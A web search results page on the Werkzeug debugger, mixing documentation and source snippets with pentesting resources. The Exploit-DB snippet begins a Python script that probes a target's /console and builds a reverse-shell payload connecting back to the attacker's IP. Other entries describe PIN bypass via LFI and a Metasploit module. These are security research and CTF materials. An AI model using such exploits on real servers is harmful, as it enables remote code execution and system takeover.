🌐
Werkzeug
werkzeug.palletsprojects.com › en › stable › debug
Debugging Applications — Werkzeug Documentation (3.1.x)
Enables debugging support for a given application: from werkzeug.debug import DebuggedApplication from myapp import app app = DebuggedApplication(app, evalex=True)
🌐
Spapas
spapas.github.io › 2016 › 06 › 07 › django-werkzeug-debugger
Using Werkzeug debugger with Django - /var/ - GitHub Pages
django-extensions: a swiss army knife toolset for django - beyond other useful tools it includes a management command (runserver_plus) to start the Werkzeug interactive debugger with your project
🌐
Beautiful Soup
tedboy.github.io › flask › _modules › werkzeug › debug.html
Source code for werkzeug.debug - Flask API
[docs] def __init__(self, app, evalex=False, request_key='werkzeug.request', console_path='/console', console_init_func=None, show_hidden_frames=False, lodgeit_url=None, pin_security=True, pin_logging=True): if lodgeit_url is not None: from warnings import warn warn(DeprecationWarning('Werkzeug now pastes into gists.')) if not console_init_func: console_init_func = None self.app = app self.evalex = evalex self.frames = {} self.tracebacks = {} self.request_key = request_key self.console_path = console_path self.console_init_func = console_init_func self.show_hidden_frames = show_hidden_frames self.secret = gen_salt(20) self._failed_pin_auth = 0 self.pin_logging = pin_logging if pin_security: # Print out the pin for the debugger on standard out.
🌐
Netscylla
netscylla.com › blog › 2018 › 10 › 03 › werkzeug-debugger.html
Werkzeug Debugger | Netscylla’s Blog
October 3, 2018 - Also worth noting is that the debugger only accepts commands sent in by the GET-parameter, which will then show up in access logs on the vulnerable host, which is great for forensic analysis and investigation.
🌐
GitHub
github.com › wdahlenburg › werkzeug-debug-console-bypass
GitHub - wdahlenburg/werkzeug-debug-console-bypass: Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. · GitHub
* Running on http://172.17.0.4:7777/ (Press CTRL+C to quit) * Restarting with stat User: werkzeug-user Module: flask.app Module Name: Flask App Location: /usr/local/lib/python3.9/site-packages/flask/app.py Mac Address: 2485377892356 Werkzeug Machine ID: b'ea1fc30b6f4a173cea015d229c6b55b69d0ff00819670374d7a02397bc236523a57e9bab0c6e6167470ac65b66075388' * Debugger is active!
Starred by 64 users
Forked by 7 users
Languages   Python 85.8% | Dockerfile 14.2%
🌐
GitHub
github.com › pallets › werkzeug › blob › main › src › werkzeug › debug › __init__.py
werkzeug/src/werkzeug/debug/__init__.py at main · pallets/werkzeug
"""Enables debugging support for a given application:: · from werkzeug.debug import DebuggedApplication · from myapp import app · app = DebuggedApplication(app, evalex=True) · The ``evalex`` argument allows ...
Author   pallets
🌐
Pocoo
mitsuhiko.pocoo.org › werkzeug-docs › debug.html
Debugging Applications - Werkzeug
Enables debugging support for a given application: from werkzeug.debug import DebuggedApplication from myapp import app app = DebuggedApplication(app, evalex=True)
🌐
Exploit-DB
exploit-db.com › exploits › 43905
Werkzeug - 'Debug Shell' Command Execution - Multiple remote Exploit
January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%
🌐
Medium
medium.com › swlh › hacking-flask-applications-939eae4bffed
Hacking Flask Applications. Executing arbitrary commands using the… | by Vickie Li | The Startup | Medium
February 18, 2020 - In particular, Werkzeug includes an interactive debugger that allows inspecting stack traces and source code in the browser.
Find elsewhere
🌐
Readthedocs
werkzeug-docs-cn.readthedocs.io › zh-cn › latest › debug.html
Debugging Applications — Werkzeug 0.9.4 文档
Enables debugging support for a given application: from werkzeug.debug import DebuggedApplication from myapp import app app = DebuggedApplication(app, evalex=True)
🌐
GitHub
github.com › pallets › werkzeug › blob › main › src › werkzeug › debug › tbtools.py
werkzeug/src/werkzeug/debug/tbtools.py at main · pallets/werkzeug
<title>%(title)s // Werkzeug Debugger</title> <link rel="stylesheet" href="?__debugger__=yes&amp;cmd=resource&amp;f=style.css"> <link rel="shortcut icon" href="?__debugger__=yes&amp;cmd=resource&amp;f=console.png"> <script src="?__debugger__=yes&amp;cmd=resource&amp;f=debugger.js"></script> <script> var CONSOLE_MODE = %(console)s, EVALEX = %(evalex)s, EVALEX_TRUSTED = %(evalex_trusted)s, SECRET = "%(secret)s"; </script> </head> <body style="background-color: #fff"> <div class="debugger"> """ ·
Author   pallets
🌐
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › werkzeug
Werkzeug / Flask Debug - HackTricks
This script produces the PIN by hashing the concatenated bits, adding specific salts (cookiesalt and pinsalt), and formatting the output. It’s important to note that the actual values for probably_public_bits and private_bits need to be accurately obtained from the target system to ensure the generated PIN matches the one expected by the Werkzeug console.
🌐
GitHub
github.com › its-arun › Werkzeug-Debug-RCE
GitHub - its-arun/Werkzeug-Debug-RCE: Python script for exploiting Werkzeug Debug RCE useful for CTF · GitHub
Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.
Starred by 39 users
Forked by 22 users
Languages   Python
🌐
Bottlepy
bottlepy.org › docs › 0.12 › plugins › werkzeug.html
Bottle-Werkzeug — Bottle 0.12.25 documentation
@app.route('/hello/:name') def say_hello(name): greet = {'en':'Hello', 'de':'Hallo', 'fr':'Bonjour'} language = req.accept_languages.best_match(greet.keys()) if language: return werkzeug.Response('%s %s!' % (greet[language], name)) else: raise werkzeug.exceptions.NotAcceptable() This plugin replaces the default error page with an advanced debugger.
🌐
Pocoo
mitsuhiko.pocoo.org › werkzeug-docs › script.html
Management Script Utilities - Werkzeug
Because a runserver and shell command is pretty common there are two factory functions that create such commands: def make_app(): from yourapplication import YourApplication return YourApplication(...) action_runserver = script.make_runserver(make_app, use_reloader=True) action_shell = script.make_shell(lambda: {'app': make_app()}) The script from above can be used like this from the shell now: $ ./manage.py --help $ ./manage.py runserver localhost 8080 --debugger --no-reloader $ ./manage.py runserver -p 4000 $ ./manage.py shell
🌐
Plotly
community.plotly.com › dash python
How to trigger werkzeug debugger - Dash Python - Plotly Community Forum
April 8, 2019 - I’m trying to intentionally enter the Werkzeug interactive debugger using the snippet below, and placing debug() at desired breakpoints, but the browser never enter the debugger. All I get is an AssertionError in the command prompt. if os.environ.get('FLASK_ENV') == 'development': DEBUG = True else: DEBUG = False def debug(): assert DEBUG == False I’m trying to use this as an alternative to when ipdb doesn’t behave well, and until the highly anticipated dash-dev-tools comes out!
🌐
InfosecMatter
infosecmatter.com › home › metasploit module library
Werkzeug Debug Shell Command Execution - Metasploit - InfosecMatter
December 4, 2022 - A sample application which enables the console debugger is available here ... Do: check [+] 10.108.106.201:8081 - The target is vulnerable. ... You should get a shell. ... TARGETURI by default is /console, as defined by werkzeug, however it can be changed within the python script.
🌐
Gitbook
angelica.gitbook.io › hacktricks › network-services-pentesting › pentesting-web › werkzeug
Werkzeug / Flask Debug - HackTricks - GitBook
November 10, 2024 - This script produces the PIN by hashing the concatenated bits, adding specific salts (cookiesalt and pinsalt), and formatting the output. It's important to note that the actual values for probably_public_bits and private_bits need to be accurately obtained from the target system to ensure the generated PIN matches the one expected by the Werkzeug console.
🌐
HackTricks
hacktricks.boitatech.com.br › pentesting › pentesting-web › werkzeug
werkzeug | HackTricks - Boitatech
September 30, 2021 - Locate vulnerable Werkzeug debug console at path vulnerable-site.com/console, but is locked by secret PIN number.
🌐
Exploit-DB
exploit-db.com › exploits › 37814
Werkzeug - Debug Shell Command Execution (Metasploit) - Python remote Exploit
August 18, 2015 - ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex' class Metasploit4 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'Werkzeug Debug Shell Command Execution', 'Description' => %q{ This module will exploit the Werkzeug debug console to put down a Python shell. This debugger "must never be used on production machines" but sometimes slips passed testing.